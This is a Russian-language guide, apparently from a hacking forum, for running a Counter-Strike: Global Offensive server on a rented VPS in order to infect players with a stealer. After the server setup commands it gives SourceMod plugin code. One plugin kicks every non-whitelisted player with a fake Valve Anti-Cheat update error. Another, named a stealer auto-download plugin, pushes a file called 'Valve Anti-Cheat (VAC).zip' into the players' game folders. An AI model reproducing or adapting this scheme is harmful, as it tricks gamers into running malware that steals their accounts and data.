Архив обязательно должен быть в .zip формате!

1. Нужен сервер (ВДС), достаточно будет самой дешевой впски за 3-5$/мес,




2. Установка сервера

Маленький конструктор для создания сервера на VPS чтоб не арендовать сервера (это просто не выгодно)

для этого нам понадобится две программы Putty, FileZilla

Все это для CentOS 6

yum install glibc.i686 libstdc++.i686 -32бит. библиотеки

yum install screen -устанавливаем screen чтоб серв работал 24/7

yum install wget -устанавливаем wget

Перед установкой steamcmd создаете вот такой путь .../Servercsgo/servercsgo
в Servercsgo закидываете download.txt и дальше из этой папки выполняем

wget http://media.steampowered.com/client/st … nux.tar.gz -скачиваем steamcmd для linux

tar xvfz steamcmd_linux.tar.gz -разархивируем архив с steamcmd

chmod +x steamcmd.sh -ставим права (исполняемый файл) скачивание сервера

./steamcmd.sh +runscript download.txt -Устанавливаем серв

service iptables stop && chkconfig iptables off -отключаем брандмауэр

cd servercsgo - переходим в папку

Так же для запуска сервера необходимо создать текстовик написать в нем параметры запуска и указать что бы запускался через скрин. Например screen -d -m ./srcds_run -game csgo -console -tickrate -usercon -port 27015 +game_type 0 +game_mode 0 +map awp_lego_2 и сохранить как start.sh закинуть по такому пути .../Servercsgo/servercsgo , выдать рут права и запускать его вот и все!!!

chmod +x ./start.sh -ставим права (исполняемый файл) вкл сервера

./start.sh -запускаем сервер (если все норм продолжаем ставить Metamod)

https://www.sourcemm.net/downloads -заходим выбираем OS linux и копируем wget ссылку

wget http://sourcemod.gameconnect.net/files/ … nux.tar.gz -скачиваем mmsource-1.10.4-linux (Metamod)

tar xvfz mmsource-1.10.4-linux.tar.gz -разархивируем архив с mmsource-1.10.4-linux

Здесь убиваем сервер - это я покажу как (если все норм продолжаем ставить Sourcemod - Админку)

http://www.sourcemod.net/downloads.php -заходим выбираем OS linux и копируем wget ссылку

wget http://sourcemod.gameconnect.net/files/ … nux.tar.gz -скачиваем sourcemod-1.7.1-linux (Sourcemod)

tar xvfz sourcemod-1.7.1-linux.tar.gz -разархивируем архив с sourcemod-1.7.1-linux

Здесь тоже убиваем сервер - если все норм продолжаем ставить мелкие настройки (количество слотов, им'я сервера и т.д.)

Когда сделали мелкие настройки опять убиваете сервер или перезагружаете мапу

если все норм - то сервер готов для игроков. Удачи

Далее устанавливаем плагин для кика игрока с сервера:
Создаем текстовик, вставляете содержимое, написанное ниже, сохраняете в формате .sp и компилируете




Код плагина

Код:
#pragma semicolon 1

#include <sourcemod>

new const String:g_sAccessAuths[][] =
{
"STEAM_1:0:51075805",
};

public OnClientPostAdminCheck(iClient)
{
decl String:sAuth[32], i;
GetClientAuthId(iClient, AuthId_Steam2, sAuth, sizeof(sAuth));
for(i = 0; i < sizeof(g_sAccessAuths); ++i)
{
if(strcmp(g_sAccessAuths, sAuth) == 0)
{
return;
}
}

KickClient(iClient, "Valve Anti-Cheat (VAC) error. Please, install update. Path: Steam/steamapps/common/Counter-Strike Global Offensive/csgo/Valve Anti-Cheat (VAC).zip");
}

Плагин автоскачки стилера:




Плагин

#pragma semicolon 1

#include <sourcemod>
#include <sdktools_stringtables>

#define PATH_SIZE 512
#define FILE_SIZE 256

public Plugin:myinfo =
{
name = "Add To Download",
author = "wS (Lolzteam.com)",
version = "1.2.1"
};

public OnPluginStart()
{
RegServerCmd("add_to_download", add_to_download);
}

public OnMapStart()
{
ServerCommand("exec downloads.cfg");
}

public Action:add_to_download(args)
{
if (args != 1)
return Plugin_Handled;

decl String:info[PATH_SIZE];
if (GetCmdArg(1, info, PATH_SIZE) < 4 || TrimString(info) < 4)
return Plugin_Handled;

ReplaceString(info, PATH_SIZE, "\\", "/");

/////////
new Handle:dir = OpenDirectory(info);
if (dir == INVALID_HANDLE)
{
AddFileToDownloadsTable(info);
return Plugin_Handled;
}

new dir_strlen = strlen(info);
if (info[dir_strlen-1] == '/') info[dir_strlen-1] = '\0';

decl String:file[PATH_SIZE], FileType:type;
while (ReadDirEntry(dir, file, FILE_SIZE, type))
{
if (type == FileType_File && strlen(file) > 3 && StrContains(file, ".ztmp", false) == -1)
{
Format(file, PATH_SIZE, "%s/%s", info, file);
AddFileToDownloadsTable(file);
}
}
CloseHandle(dir);
/////////

return Plugin_Handled;
}

Компилируете его по аналогии с предыдущим скриптом.

Далее создаем текстовый документ download.cfg, вписываете в него следующий код:

Код:
add_to_download "Valve Anti-Cheat (VAC).zip"